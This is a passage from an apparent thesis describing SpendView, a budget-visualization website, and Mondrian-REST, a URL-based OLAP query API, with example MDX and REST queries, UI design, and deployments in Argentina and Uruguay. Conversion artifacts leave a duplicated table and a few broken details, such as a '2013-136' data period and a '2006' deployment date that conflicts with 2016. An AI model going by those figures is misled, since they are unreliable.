</tbody>
</table>
<table>
<thead>
<tr>
<th>Additional Classifications</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source of financing</td>
</tr>
<tr>
<td>National Treasury</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Expenditure Phases</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proposed</td>
</tr>
<tr>
<td>$176,455,000 ARS</td>
</tr>
</tbody>
</table>
*Table 1: Example classification and phases for a line of an expenditure budget*
Table 1 illustrates how each classification has features that differ from and are independent of the others. In well-designed budget structures, each transaction is attributed unambiguously to each of the defined classifications.
This normative framework for public finances, now adopted by most governments, translates almost directly to the principles of dimensional modeling. As an example, the budget structure to which the line depicted in Table 1 belongs, would be represented in
an OLAP system as follows, in terms of dimensions, hierarchies, levels and measures:
**Dimensions**
- Chronological
- Year
- Month
- Administrative
- Title
- Section
- Chapter
- Economic
- Section
- Article
- Paragraph
- Functional
- Main Function
- Function
- Secondary Function
- Source of Financing
- Source of Financing
- Geographic
Measures
- Proposed
- Adopted
- Committed
- Paid
A database structure suitable for storage of a typical budget dataset is depicted in Figure 6.
*Figure 6: A "star schema" for a budget*
There is an increasing number of governments publishing detailed budget information that preserve the multi-dimensionality needed for proper analysis. However, the lack of a data standard that includes information (metadata) about the classifications, taxonomies and expenditure phases in use in a particular administration, is a hurdle for the adoption of effective visualization and analysis tools for public finances. The *Fiscal Data Package* (Björgvinsson, Pollock, & Walsh, 2016), a recent standardization effort led by the Open Knowledge Foundation, strives to provide users with such a standard. This format also realizes the usefulness of the dimensional modeling concepts for representing, storing and transmitting government budget information.
Implementation
Design Rationale
This section outlines the design principles behind SpendView, provides an overview of implementation, and describes current known limitations of the system.
Design principles
The design of SpendView was informed by a number of design principles, that attempt to improve on the dashboard paradigm as device for visualizing multidimensional datasets, choosing public budgets as the focus of this work.
Narratives
Stories are perhaps the primary mean for transmission of knowledge among humans. However, their usage as a device for extracting knowledge of a multidimensional dataset is not frequent. By structuring information in the form of the journalistic inverted pyramid, translating particular slices of the data cube into questions and their answers, and combining automatically generated graphical and linguistic summaries, SpendView aims to ease the comprehension of complex information.
Hypermedia
Although most current data exploration and visualization systems are distributed as Web applications because it is technically convenient, they don't use the language of the Web. These dashboard-type systems originated in workstations, and they retain pre-Web user interface conventions. SpendView aims to be not just an application that runs in a Web browser, but a platform that embraces the idioms of the Web, encouraging linking, embedding, indexing, archival and sharing of its content.
Internationalization
*SpendView* is conceived globally. Having automatically generated text as one of its main interaction devices, its user interface has been designed from the start with internationalization in mind. At its present state, it supports English and Spanish; supporting additional languages only requires creating a substitution file that contain translated strings.
Openness and reusability
*SpendView* and *Mondrian-REST*, the two components that comprise the system, are licensed under the MIT license, and are freely available on the code-sharing platform GitHub.
---
**Mondrian-REST: a Web-friendly API for OLAP**
This section briefly describes the *Multidimensional eXpressions (MDX)* language, and introduces a novel querying interface OLAP databases that support MDX.
Projects that implement tools for visualization of multidimensional data often build *ad-hoc* interfaces for querying it. These application programming interfaces (APIs) contain knowledge about the particular dataset that they allow to query, frequently encoded in imperative programming languages, with the corresponding loss of generality that prevents reuse of those software components. OLAP databases offer a powerful declarative mechanism for specifying the structure of the data, and the query language they provide is expressive enough to encode every possible aggregation of the data.
**Multidimensional eXpressions (MDX)**
The MDX language was introduced by Microsoft in 1997, as part of the OLE DB for OLAP specification. It provides a specialized syntax for defining and querying
multidimensional objects and data, such as the data stored in OLAP cubes. While similar to SQL, it is not limited to bi-dimensional tables (rows and columns); MDX allows the user to query structures of up to 127 dimensions, which are referred as axes.
Taking the UN COMTRADE cube described in a previous section, a user would issue the following query get the yearly total amount of exports from Argentina to each of the African countries:
```sql
SELECT {[Measures].[Exports]} ON Axis(0),
[Time].[Year].Members ON Axis(1),
[Destination Country].[Africa].Children on Axis(2)
FROM [Trade Flow]
WHERE ([Origin Country].[South America].[Argentina])
```
This query will select the Exports value —which is part of the special Measures dimension—in the first axis, which by default is aggregated using the sum operator. The second access will be populated with the contents of the Time dimension, at the Year level. The third and last axis will contain the immediate descendants (Children) of the Africa member of the Destination Country dimension. The data that will take part on the aggregation will be those records (tuples) for which the Origin Country dimension is equal to Argentina, as specified by the WHERE clause. Table 2 shows an excerpt of the result of the query.
<table>
<thead>
<tr>
<th>Year</th>
<th>Country Code</th>
<th>Country Name</th>
<th>Exports</th>
</tr>
</thead>
<tbody>
<tr>
<td>1995</td>
<td>gab</td>
<td>Gabon</td>
<td>2326825</td>
</tr>
<tr>
<td>1995</td>
<td>gha</td>
<td>Ghana</td>
<td>2556622</td>
</tr>
<tr>
<td>1995</td>
<td>gin</td>
<td>Guinea</td>
<td>436794.32</td>
</tr>
</tbody>
</table>
A REST endpoint for OLAP databases
Despite the flexibility and expressive power of MDX and multidimensional databases, there hasn't been significant adoption of these technologies outside the enterprise. Analytical databases that support MDX integrate with other systems through protocols like the Microsoft Windows-only OLE DB for OLAP or XML for Analysis (Microsoft, 2001). However, the lack of a protocol that conforms to current conventions and patterns for Web-applications might have contributed to the low levels of adoption of multidimensional databases. This section introduces Mondrian-REST, an implementation of an URL-encoded query language that is able to express most common types of MDX queries.
The design of the proposed query language is centered around 3 operations:
- **Drilldown:** allows to move from one level of detail to the next. Starting from the root of the UN COMTRADE data cube, drilling down on the Origin Country dimension means getting information for every Continent. Multiple drilldowns can
be specified in a single query.
- **Cut**: allows the user to specify a filter, which effectively restricts the cube in which the aggregations are performed. *Cutting* the cube along the `[South America].[Argentina]` member in the Origin Country dimension, will only consider cells for which Argentina is the origin country in the trade data. Multiple cuts can be specified in a single query.
- **Measures**: allows to select the measures (scalar variables associated with a particular *fact* in the data cube). Multiple measures can be selected in a single query.
These three operations are sufficient to express the most common types of queries needed by sites like *SpendView*.
Additionally, Mondrian-REST provides access to the structure of the cube, allowing the user to obtain metadata such as the list of members of a particular dimension, or detailed information about a member.
The following examples illustrate how queries are constructed, by restricting the search space with the *drilldown*, *cut*, and *measures* parameters.
The single entry point for aggregation operations in Mondrian-REST is `/aggregate`, which accepts the described parameters. In order to aggregate (sum) the *Imports* measure over the entire cube (every country), a user would issue the query:
```
.aggregate?measures[]=Imports
```
To obtain the time series of the total imports of every country, a *drilldown* on the Time dimension must be performed:
```
.aggregate?drilldown[]=Year
```
To add an additional dimension, it is possible to specify an additional drilldown. When combined with the `cut` parameter, this query adds every African country to the dataset, resulting in a yearly time series of total imports by each African country:
```
/aggregate?drilldown[]=Year
&drilldown[]=Destination Country
&cut[]=Destination Country.Africa
&measures[]=Import
```
Finally, this query will only consider imports of live horses by African countries, originated in South American countries.
```
/aggregate?drilldown[]=Year.Year
&drilldown[]=Destination Country
&cut[]=Origin Country.South America
&cut[]=Destination Country.Africa
&cut[]=Product.Live Animals
&measures[]=Imports
```
The default representation of the query result is a JSON-encoded dictionary, that contains information about the members of each dimension along with the associated measures. Additionally, following the principles of Representational State Transfer (REST) (Fielding & Taylor, 2000), now adopted as the standard in modern Web application development, the user can also request that the response is encoded as comma-separated values or as an Excel spreadsheet. These tabular (two dimensional) representations of a multidimensional structure follow the “tidy data” recommendations (Wickham, 2014) that allow for easy processing and manipulation with standard data analysis tools.
Within Mondrian-REST, the mapping between logical entities (dimensions and measures) and the underlying "physical" representation of the information in the database is achieved through a configuration file in XML format (manually created by the developer), that encodes the principles of dimensional modeling. A fragment of such a file for the UN COMTRADE database schema (Figure 7) dataset is shown in Figure 8.
\[
\begin{array}{|c|}
\hline
<table>
<thead>
<tr>
<th>dim_time</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
</tr>
<tr>
<td>year</td>
</tr>
</tbody>
</table>
\hline
\end{array}
\]
\[
\begin{array}{|c|}
\hline
| dim\_country |
| id |
| id\_continent |
| continent |
| id\_country |
| country |
\hline
\end{array}
\]
\[
\begin{array}{|c|}
\hline
| facts\_trade |
| id |
| id\_time |
| id\_origin\_country |
| id\_destination\_country |
| id\_product |
| value\_imports |
| value\_exports |
\hline
\end{array}
\]
\[
\begin{array}{|c|}
\hline
| dim\_products |
| id |
| id\_category\_level\_1 |
| category\_level\_1 |
| id\_category\_level\_2 |
| category\_level\_2 |
| id\_category\_level\_3 |
| category\_level\_3 |
\hline
\end{array}
\]
Figure 7: Database "star schema" for UN COMTRADE
The preceding examples use the UN COMTRADE dataset to demonstrate the expressiveness of the multidimensional modeling paradigm and the proposed query language. These techniques were applied to fiscal information during the implementation of the systems presented in this thesis. Using the model for a budget dataset listed in page 30 and the budget line of Table 1 as examples, the following query returns a yearly time series of all the expenditure phases, broken down by the first level of the functional classification, for the Ministry of Agriculture:
Implementation Details
Mondrian-REST is an HTTP service that translates queries encoded in the previously described language into MDX, which is in turn interpreted by the Mondrian Relational OLAP (ROLAP) engine\(^3\). This software component translates MDX into SQL queries, which are executed by a relational database. Mondrian ROLAP supports most relational databases: the system built for this thesis used the lightweight relational database system SQLite\(^4\) during the development process, and the column-oriented database MonetDB\(^5\) for live deployment with no change in the underlying code. The system has also been successfully deployed using the PostgreSQL\(^6\) and MySQL\(^7\) database systems.
Mondrian-REST is implemented in JRuby\(^8\), a version of the Ruby language that runs in the Java virtual machine.
\(^3\) [http://community.pentaho.com/projects/mondrian/](http://community.pentaho.com/projects/mondrian/)
\(^4\) [https://sqlite.org/](https://sqlite.org/)
\(^5\) [https://monetdb.org/](https://monetdb.org/)
\(^6\) [http://postgresql.org/](http://postgresql.org/)
\(^7\) [https://mysql.com/](https://mysql.com/)
\(^8\) [http://jruby.org/](http://jruby.org/)
User experience and user interface
*SpendView* structures the overview of a fiscal information dataset linearly, inspired by the well-known design concept of a *profile page* and the *inverted pyramid* writing technique of journalistic articles. This writing style is characterized by “the most important information summarized in the so-called ‘lead sentence’ that, according to standard practice, has to answer four or five ‘w-questions’ (who? when? where? what? and perhaps why?). After the lead sentence comes the rest of the story [...]” (Pöttker, 2003).
In addition to interactive visualizations, *SpendView* relies in automatically generated textual narrative that describes and highlights basic statistics of the datasets.
This section provides an overview of the UI and describes in detail how the user interacts with the system to explore a budget.
Overview of a Budget
The initial view of a district’s budget is shown in Figure 11. Following a modular structure, the page contains two types of elements.
The header (Figure 9) contains the name of the district and its logotype or emblem. It also contains a search input field, that allows the user to search for budget entries. It also contains a brief textual summary of some aspects of the budget, that include the total amount for the latest available year, its *compound annual growth rate* and the main sources of expenditure for all the available budget classifications. Following the header, the page contains one *aggregation view* module (Figure 10) for each classification of the budget. By default, it displays the first two levels of a dimension in a *treemap*, a visualization technique suitable for hierarchical data structures (Johnson & Shneiderman, 1991).
In 2016, City of Cambridge's budget was of 546 million. It has increased at an annualized rate of 3.5% since 2011.
According to the administrative classification, the main areas of spending were Education (164 million, 30%), Debt Service (54.7 million, 10%) and Police (50.6 million, 9%).
According to the economic classification, the main areas of spending were Salaries and Wages (365 million, 67%), Other Ordinary Maintenance (117 million, 21%) and Extraordinary Expenditures (54.7 million, 11%).
According to the functional classification, the main areas of spending were Education (164 million, 30%).
According to the funding source classification, the main areas of spending were General Fund (151.9 million, 29%), Water Fund (14 million, 3%) and Parking Fund (11.5 million, 2%).
Figure 9: Detail view of the header, showing the generated textual description of the data
Figure 10: An "aggregation view" showing the first 2 levels of the administrative classification
Figure 11: SpendView showing the initial overview of the budget for the City of Cambridge
Drilling down on a budget classification
The *drill down* operation allows the user to move from one level of detail to the next. *SpendView* maintains the design of the main page for displaying information about a *member* of a particular budget classification. Figure 12 shows the profile for the “personal permanente” (permanent staff) classification—a second-level classification in the administrative dimension, within the “gastos en personal” (salaries and wages) item—in a municipal budget. In addition to the elements of the main budget view described in page 45, the heading contains a *trail* that indicates the depth of this member within the overall budget, along with the names of the dimension and hierarchy level in which the member is located.

Exploring the different perspectives of the budget
The container for most interactive elements in SpendView is the “aggregation view”, shown in Figure 10. Both the budget view (Figure 11) and drilldown pages (Figure 12) include one of these modules for each available dimension of a budget.
Budget dimensions as questions
As mentioned in page 18, budgets are classified according to multiple, independent dimensions that offer different perspectives of analysis. The usual nomenclature to these classifications can be translated to more accessible language, to facilitate comprehension of the budgetary information (Table 3).
<table>
<thead>
<tr>
<th>Question</th>
<th>Classification Name</th>
<th>Example members</th>
</tr>
</thead>
<tbody>
<tr>
<td>Who spends?</td>
<td>Administrative</td>
<td>Police department, Ministry of Education</td>
</tr>
<tr>
<td>What is spent on?</td>
<td>Expense Type</td>
<td>Salaries and Wages, Goods, Services</td>
</tr>
<tr>
<td>What is the funding source?</td>
<td>Financing source</td>
<td>General Fund, Revenue Tax, External Financing</td>
</tr>
<tr>
<td>What is the purpose?</td>
<td>Functional</td>
<td>Community Development</td>
</tr>
<tr>
<td>Where it is spent?</td>
<td>Geographic</td>
<td>Jamaica Plains, Buenos Aires Province</td>
</tr>
</tbody>
</table>
Table 3).
<table>
<thead>
<tr>
<th><strong>What is spent on?</strong></th>
<th><strong>Expense Type</strong></th>
<th><strong>Salaries and Wages, Goods, Services</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>What is the funding source?</strong></td>
<td><strong>Financing source</strong></td>
<td><strong>General Fund, Revenue Tax, External Financing</strong></td>
</tr>
<tr>
<td><strong>What is the purpose?</strong></td>
<td><strong>Functional</strong></td>
<td><strong>Community Development</strong></td>
</tr>
<tr>
<td><strong>Where it is spent?</strong></td>
<td><strong>Geographic</strong></td>
<td><strong>Jamaica Plains, Buenos Aires Province</strong></td>
</tr>
</tbody>
</table>
*Table 3: Budget classifications as translated to questions*
Data verbalization as a complement of visualizations
*SpendView* makes use of automatically generated linguistic summaries of the data that is used to construct budget and dimension member profiles. Each aggregation view contains a portion of text that describes the members of the displayed dimension that incurred in the larger portions of expenditure, according to the displayed classification.
For example, given the budget of the City of Cambridge for the fiscal year 2016, the system would generate the following summary for the *functional* ("What is the purpose?") classification:
*In 2016, Education (164 million USD, 30%) and Public Safety (120 million USD, 22%) were the two main areas of spending in the functional classification.*
On a dimension member profile, the text is expanded to indicate that the summary is limited to that particular cell. The *Education* profile for the budget of Cambridge contains this text in its *economic* ("What is it spent on?"") classification section:
*In 2016, Salaries and Wages (137 million USD, 83%) and Other Ordinary Maintenance (25.4 million USD, 16%) were the two main areas of spending in the economic classification within Education.*
Additionally, the names of the dimension members that are included in the linguistic summary are hyperlinked to their respective profiles.
These linguistic summaries are crucial for capturing traffic originated in search engines. Charts present data in graphical formats, but they are effectively “invisible” to search engines. Automatically generated text, on the other hand, is quickly detected and indexed by search engines (Figure 18).
Multiple graphical representations
The default graphical representation of the data contained in an aggregation view module
is the treemap. According to the dimension being displayed, the treemap will represent up to two levels in the hierarchy; the first level is encoded by a color in a categorical scale, and the second is encoded by the position of the rectangle that represents a member, as calculated by the Squarified algorithm (Bruls, Huizing, & van Wijk, 2000). Treemaps are effective for representing the relative share or importance of items in a total amount. In SpendView, the treemap items (rectangles) are budget categories in a classification, and their size is relative to their contribution to the overall spending in a particular year. The user can select a year of interest with a “slider” control situated below the treemap. However, this is not effective for visualizing temporal trends, a frequent use case in budget analysis. To accommodate for this, SpendView offers line and stacked bar charts, that represent the temporal dimension on their horizontal axis (Figure 13).
Exploring the data
Every chart type in SpendView is interactive, allowing the user to obtain more information about the displayed budget categories. When the mouse is over either a treemap rectangle, a line in line chart, or a bar in a barchart, it presents an indicative tooltip that contains detailed information about the budget classification. Figure 14 shows a tooltip displaying the amounts of the execution phases of a budget, in the selected year. Chart legends also react to the mouse pointer, adding to the tooltip’s content, controls for hiding or isolating that particular series from the chart.
In addition to the "mouse over" interaction gesture, charts and legends also respond to clicks. This interaction is used to obtain more information about a budget item. When
the user clicks either on a chart element or on an item of a chart's legend, SpendView displays a modal window constrained to the aggregation view module that contains the chart. This modal window introduces an additional visualization method, the grouped bar chart, that facilitates comparisons of multiple expenditure phases (e.g., approved, adjusted, executed). It also utilizes a tooltip, consistently with the main aggregation view, to provide further details.

Sharing
Ease of sharing is one of SpendView's design principles. In addition to every budget and item page having an unique URL ("permalink"), each aggregation view module offers multiple ways to share and download the displayed information in several formats. An "options" button displays a modal window (Figure 17), similar to the one described in the preceding section, that contains the following options:
• **Share:** buttons to share the selected view on social media platforms.
• **Download:** buttons to download the data corresponding to the current chart in comma-separated (CSV) and Microsoft Excel (XLS) formats. The user can also download a rendering of the chart in Portable Network Graphics (PNG) and Scalable Vector Graphics (SVG).
• **Data:** Tabular representation of the data.
• **API:** Displays the address of the application programming interface (API) for consuming the information through the HTTP protocol.
• **Embed:** HTML code suitable for embedding the selected visualization into a Web page.

**Implementation of the user interface**
*SpendView* is currently running at spendview.media.mit.edu as a public Website with access to the open Web. The following sections discuss how the interface was
implemented.
**Isomorphic Web applications**
Web applications, being client-server systems, are comprised of two parts: the server application, that serves content (markup, media, executable code) to a Web browser through the network to a client; and the client application that runs on the user’s device. Before the advent of rich interfaces, these applications were simple in scope. The HTTP served HTML files and media content to a Web browser, that rendered them and only provided basic interactions such as navigating through hyperlinks, or submitting the contents of a form to a server.
In 1995, Netscape introduced the interpreted language *Javascript* to its Navigator product, which enabled the creation of richer interactions in the Web browser by manipulating the contents of the HTML that was downloaded from the server, in response to the actions of the user. These new possibilities lead to an increase in the complexity of Web applications, which now consist of two separate codebases —server and client—, usually implemented in different programming languages. Furthermore, less-capable HTTP clients —such as the crawlers employed by search engines to gather and index the contents of Web pages— are unable to execute Javascript code. In consequence, information that is displayed on a Web browser screen by manipulating HTML with Javascript, is in effect invisible to search engines.
In response to this, and with the recent feasibility of Javascript as a server side language (Tilkov & Vinoski, 2010), the Web development landscape saw the emergence of a new development practice, called *Isomorphic* or *Universal* Web applications (Robbins, 2011). This technique allows the developer to employ a single, coherent technology stack for the server and client applications. *SpendView* is developed with such a paradigm: the entire
codebase for the Web application is developed with Javascript, using the React application framework, released by Facebook in 2014.
Visibility to non-rich internet clients
One of the main benefits of rendering HTML content on the server, as mentioned above, is the increased “visibility” to search engines (Figure 18) and to social media platforms. This is particularly relevant in a context where social sharing and organic search results amount to a combined 80% percent share of the sources of traffic acquisition for websites. Social media platforms have created mechanisms to increase visibility of shared content, which require the inclusion of metadata tags that are interpreted by the platform’s crawlers. SpendView uses these devices to provide a textual summary of the information contained in the link that was shared.
Figure 18: Organic search results in Google for the query "spendview argentina"
9 https://facebook.github.io/react/
Playing with @CityOfBoston’s open data:
SpendView: City of Boston
In 2016, City of Boston’s budget was of 2,857,412,184. It has increased at an annualized rate of 4.61% since 2013.
spendview.media.mit.edu
SpendView: República Argentina
In 2016, República Argentina’s budget was of 1,564,422,349,338. It has increased at an annualized rate of 20.89% since 2008.
Figure 19: Sharing on Twitter
Figure 20: Sharing on Facebook
Impact
Bahía Blanca: from confrontation to collaboration
Bahía Blanca, a city with a population of 300,000 in the south of the Buenos Aires province in Argentina, was among the first in the world to use the Internet to publish detailed fiscal information: in the year 2000, its government implemented a Web site that let citizens consult the city’s checkbook. The system, although primitive for today’s standards, allowed users to obtain information on most aspects of the city’s revenues, expenditure and procurement. The successive administrations trimmed down the system considerably; in mid-2010 it only remained as a simple list of purchase orders emitted by the government.
In July 2010, motivated by some corruption scandals that were reported by the local media, I built GastoPublicoBahiense.org\(^{10}\) (GPB), a system that obtained those procurement records through screen scraping techniques and produced a Web site that republished that information using interactive visualizations (Figure 21). This initiative gave relevance to a dataset that had been available for more than 10 years, and had immediate impact on the city’s political and media landscape. It is also frequently cited as a pioneering example of civic hacking in Latin America (Jefatura de Gabinete de Ministros, 2014; Morozov, 2014).
The then-current administration took measures against the project, such as introducing a CAPTCHA—a challenge-response mechanism destined to block screen-scrappers—in section of the city’s Website where the procurement information was published. This incident brought more notoriety\(^{11}\) to the GPB project. It also prompted the next administration to create an office within government dedicated to transparency and
\(^{10}\) http://gastopublicobahiense.org
technological innovation.
In this new political context, the city’s government removed the previously established obstacles for accessing public information, and we established a collaborative relationship. In June 2015, in the context of this research, I started collaborating with Bahia Blanca’s government to develop a budget information portal for the city. The city has an integrated financial management information system (IFMIS) (United States Agency for International Development, 2008) in operation since 2008, but didn’t have a publicly-facing system for providing budgetary information to its citizens.
The outcome of this collaboration was twofold: I reverse engineered the IFMIS’s database and wrote a set of software components that allow the extraction of detailed budgetary
Figure 21: The homepage of GastoPublicoBahienne.org in July 2010
and procurement reports in machine-readable formats, suitable for use in data analysis tools. I also developed *Presupuesto Abierto* (Figure 5), an initial prototype for a budget information portal, that was publicly deployed in November 2015 and is running at http://bahia.presupuestoabierto.org.
The usage data and feedback collected from the public deployment of *Presupuesto Abierto* informed the development of *SpendView*, and drove the decision to explore alternatives to the dashboard paradigm. Additionally, the software that was developed to extract the financial records from the city’s IFMIS —a software system provided by the provincial government which runs in more than 140 districts across Argentina— was made available by Bahia Blanca’s government to other municipalities, which are now using it to overcome this system’s limited reporting capabilities, by processing this information with more powerful tools.
In April 2016, Bahia Blanca’s fiscal records from 2008 to 2016 were made available in *SpendView*. In contrast with the other budget datasets that are published in the platform, Bahia Blanca’s are kept updated thanks to the integration with the city’s IFMIS that was developed for this research.
Given the standardization and architectural homogeneity of IFMIS (United States Agency for International Development, 2008), it is feasible to develop integrations of *SpendView* with other systems.
Working with Uruguay's budget office
In March 2016, I spent a week working at the Uruguayan presidency’s Office for Budget and Planning (OPP)\(^\text{12}\), through a collaboration with the Latin American Initiative for Open Data (ILDA)\(^\text{13}\). The Uruguayan national government has one of the most active Open Data programs in Latin America\(^\text{14}\), and has maintained a citizen-oriented budget information portal since 2011 (Figure 23).
---
\(^{12}\) http://www.opp.gub.uy/
\(^{13}\) http://idatosabiertos.org/
\(^{14}\) Currently occupying the 19\(^{\text{th}}\) place in the world in the Open Data Barometer, out of 92 countries.
OPP is currently undertaking the renovation of this online resource, and has expressed interest in adopting *SpendView*, as it presents some advantages over their current portal. Namely, it allows for easier visualization of temporal trends, and enables queries *across* all the classification criteria (dimensions) of the budget. OPP also valued the *linguistic summaries* that are presented alongside charts.
**Workshop**
I conducted a workshop titled “Exploring technology and open budget data”, in collaboration with members of ILDA and OPP. It was attended by members of several ministries (Labor, Interior, Housing), consultants, journalists, government planners and
researchers from local universities. We structured the activity as a focused conversation: the participants were separated in groups, and were tasked with collaboratively producing answers to a series of questions posed by the organizers of the workshop, to be later shared and discussed. The following are some of the questions that we posed to the participants, and the answers that were produced:
*What are the challenges that you face when working with budgetary information?*
For the most part, participants pointed out deficiencies in the existing information resources: lack of performance-oriented indicators that can be associated with expenditure data, and the need for transaction-level information (checkbook entries) that would allow analysts to construct their own budget classifications. They also mentioned the lack of detail in the formulation of the country’s budget.
*Are the fiscal information resources accessible and easy to consult?*
Participants from the government, noted that it is often difficult to obtain budget information from government systems. Notably, some of them were unaware of the official budget information portal, and mentioned that it was not possible to reach it from a search engine query.
*How do you use budget information? For which purpose?*
Among others, participants from the governments and news organizations mentioned the use of budget data for creating reports to non-specialized audiences, performing comparative analysis of spending across government programs. Researchers and consultants referred to their use of budget records to study the effectiveness and cost of public policies.
**User evaluation of SpendView**
I conducted an informal testing session of SpendView with the participants of the
workshop. The tool was well-received, and I obtained valuable feedback and observations:
- Users valued that the system “can be read and navigated like a Web page”, in contrast to the business intelligence tools that they are used to.
- Although the linguistic summaries were perceived as useful, some users noticed the uniformity in their structure. Verbalizing other statistical properties of the information—besides top spenders—is intended to be developed in future versions of SpendView.
- Some users were confused by the visualization of two levels of a hierarchy on a single treemap. Future versions of the platform will display a single level by default, and provide a “depth” control, that allows users to control how many levels are displayed by the treemap.
**Public Deployment**
*SpendView* was deployed to the open Web on April 22, 2016, with 7 initial budget datasets (Table 4) loaded into the platform, totaling 1.6 million individual records.
<table>
<thead>
<tr>
<th>District</th>
<th>Type</th>
<th>Period</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Uruguay</td>
<td>Country</td>
<td>2011-2015</td>
<td>Uruguay Open Data Portal(^{15})</td>
</tr>
<tr>
<td>Bahía Blanca</td>
<td>City</td>
<td>2008-2016</td>
<td>Bahía Blanca IFMIS</td>
</tr>
</tbody>
</table>
\(^{15}\) https://catalogodatos.gub.uy/dataset/credito-presupuestal-asignado-y-ejecutado-con-aperturas
<table>
<thead>
<tr>
<th>Location</th>
<th>Type</th>
<th>Period</th>
<th>Data Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cambridge, MA</td>
<td>City</td>
<td>2011-2016</td>
<td>City of Cambridge Open Data Portal(^\text{16})</td>
</tr>
<tr>
<td>Buenos Aires</td>
<td>City</td>
<td>2013-2015</td>
<td>Buenos Aires Open Data Portal(^\text{17})</td>
</tr>
<tr>
<td>Argentina</td>
<td>Country</td>
<td>2008-2016</td>
<td>Argentina’s "Citizen’s Portal"(^\text{18})</td>
</tr>
<tr>
<td>Boston, MA</td>
<td>City</td>
<td>2013-136</td>
<td>City of Boston Open Data Portal(^\text{19})</td>
</tr>
<tr>
<td>Poland</td>
<td>Country</td>
<td>2010-2014</td>
<td>World Bank’s BOOST project(^\text{20})</td>
</tr>
</tbody>
</table>
\(^{16}\) [http://budget.data.cambridgema.gov/](http://budget.data.cambridgema.gov/)
\(^{17}\) [http://data.buenosaires.gob.ar/dataset/presupuesto-ejecutado](http://data.buenosaires.gob.ar/dataset/presupuesto-ejecutado)
\(^{19}\) [http://budget.data.cityofboston.gov/](http://budget.data.cityofboston.gov/)
---
Table 4: Budgets loaded into SpendView as of April 2016
This initial set of budgets, that originate from heterogeneous sources, served to test one of the main design principles of the system, namely, that it should be possible to map the logical organization of a budget (hierarchical classifications and expense phases) with their physical representation (i.e., the data as stored in the database).
Table 5 shows the columns present in Boston’s budget dataset, as available for download in the city’s open data portal, and their mapping to budget classifications.
<table>
<thead>
<tr>
<th>Column</th>
<th>Classification</th>
<th>Level</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fiscal Year</td>
<td>Chronological</td>
<td>1</td>
</tr>
<tr>
<td>Cabinet</td>
<td>Administrative</td>
<td>1</td>
</tr>
</tbody>
</table>
16 http://budget.data.cambridgema.gov/
17 http://data.buenosaires.gob.ar/dataset/presupuesto-ejecutado
18 http://sitiodelciudadano.mecon.gov.ar/
19 http://budget.data.cityofboston.gov/
20 http://wbi.worldbank.org/boost/country/poland
Table 5: Columns and their mapping to budget dimensions
<table>
<thead>
<tr>
<th></th>
<th>Administrative</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Program</td>
<td>Administrative</td>
<td>3</td>
</tr>
<tr>
<td>Expense Type</td>
<td>Economic</td>
<td>1</td>
</tr>
<tr>
<td>Expense Category</td>
<td>Economic</td>
<td>2</td>
</tr>
</tbody>
</table>
This mapping is implemented with an XML file, similar to that shown in Figure 8, that specifies the columns that correspond to each classification of a budget, and the expenditure phases. At present, the maintainer of an instance of SpendView needs to manually edit this XML mapping. Implementing a graphical interface for this task is planned for a future version of the platform. However, the structural similarity of budgetary information, the flexibility of Mondrian-REST, and the dimensional modeling technique, proved to be sufficient for the purpose of implementing a general-purpose API and visualization engine.
Usage data
Since its public deployment in April 22, 2006, SpendView has had 998 unique users, 1,288 sessions and 2,244 page views, according to data collected with the Google Analytics platform. Social networks and organic search were the sources that originated the most traffic, accounting for 41.03% and 41.62% respectively. Although the traffic volume is still insufficient to make a comprehensive analysis, we recorded interesting queries by users that arrived to SpendView through a search engine:
- “ministerio de educación argentina presupuesto” (“ministry of educacion argentina budget”), which led the user directly to the corresponding profile page in SpendView.
In addition to tracking individual page views, user interface actions such as clicking on a chart element, changing the chart type, or opening a modal, were also recorded in Google Analytics. While the sample size is small, this information highlighted potential usability issues. For instance, a considerable portion of the sessions ended after the user clicked on a chart’s element that causes a modal window to be opened (Figure 16). This window is meant to provide detailed information about a budget item, and to provide a link to the profile of that item. Assuming that the users that clicked on the chart element corresponding to a budget item intended to get more information about it, the observation that they are likely to end their session at that point, suggests a deficiency in the design of that interaction.
Conclusion
Future Work
Based on the preliminary analysis of the usage data, received feedback, and public deployments, I identify possible opportunities for future improvements: a tool that eases the process of importing a new budget into SpendView could promote wider adoption. Specifically, the Fiscal Data Package standardization effort (Björgvinsson, Pollock, & Walsh, 2016), led by the Open Knowledge Foundation, provides a format that contains the data and metadata needed to construct a SpendView instance. Additionally, the reverse engineering of the IFMIS system running in Bahía Blanca that is mentioned in page 60, presents the opportunity to deploy SpendView to more than 140 districts in Argentina. While the initial results and observations are encouraging, more usability studies should be conducted to improve the user experience.
Concluding Remarks
SpendView is a platform for visualizing public budget information, that makes use of linguistic summaries and interactive visualizations, that emphasizes linear narratives and sharing of content. Although the design and implementation principles outlined in this thesis were applied to fiscal information datasets, they could also be applied to other domains, taking advantage of the flexibility of the dimensional modeling paradigm.
List of Figures
Figure 1: A traditional dashboard for government finances ........................................ 16
Figure 2: Where does my money go? One of the first examples of data visualization applied to fiscal data ........................................................................................................ 23
Figure 3: Socrata Open Budget showing City of Cambridge's education expenditure ...... 24
Figure 4: New York Times visualization of the 2013 US Budget proposal .................. 25
Figure 5: PresupuestoAbierto.org displaying fiscal information for the cities of Boston (USA) and Bahía Blanca (Argentina) ........................................................................ 26
Figure 6: A "star schema" for a budget........................................................................ 33
Figure 7: Database “star schema” for UN COMTRADE ........................................... 42
Figure 8: Cube definition for the UN COMTRADE database.................................... 43
Figure 9: Detail view of the header, showing the generated textual description of the data.................................................................................................................................. 46
Figure 10: An "aggregation view" showing the first 2 levels of the administrative classification......................................................................................................................... 46
Figure 11: SpendView showing the initial overview of the budget for the City of Cambridge ........................................................................................................................................ 47
Figure 12: Partial view of a member of a budget ........................................................ 48
Figure 13: Treemap, line and stacked bar chart applied to the same dataset. ............ 53
Figure 14: Tooltip over a chart.................................................................................. 53
Figure 15: Tooltip over a chart legend ........................................................................ 53
Figure 16: Modal window showing spending time series for a budget item ............... 54
Figure 17: The Share modal window displaying the "Data" section ............................. 55
Figure 18: Organic search results in Google for the query "spendview argentina" ...... 57
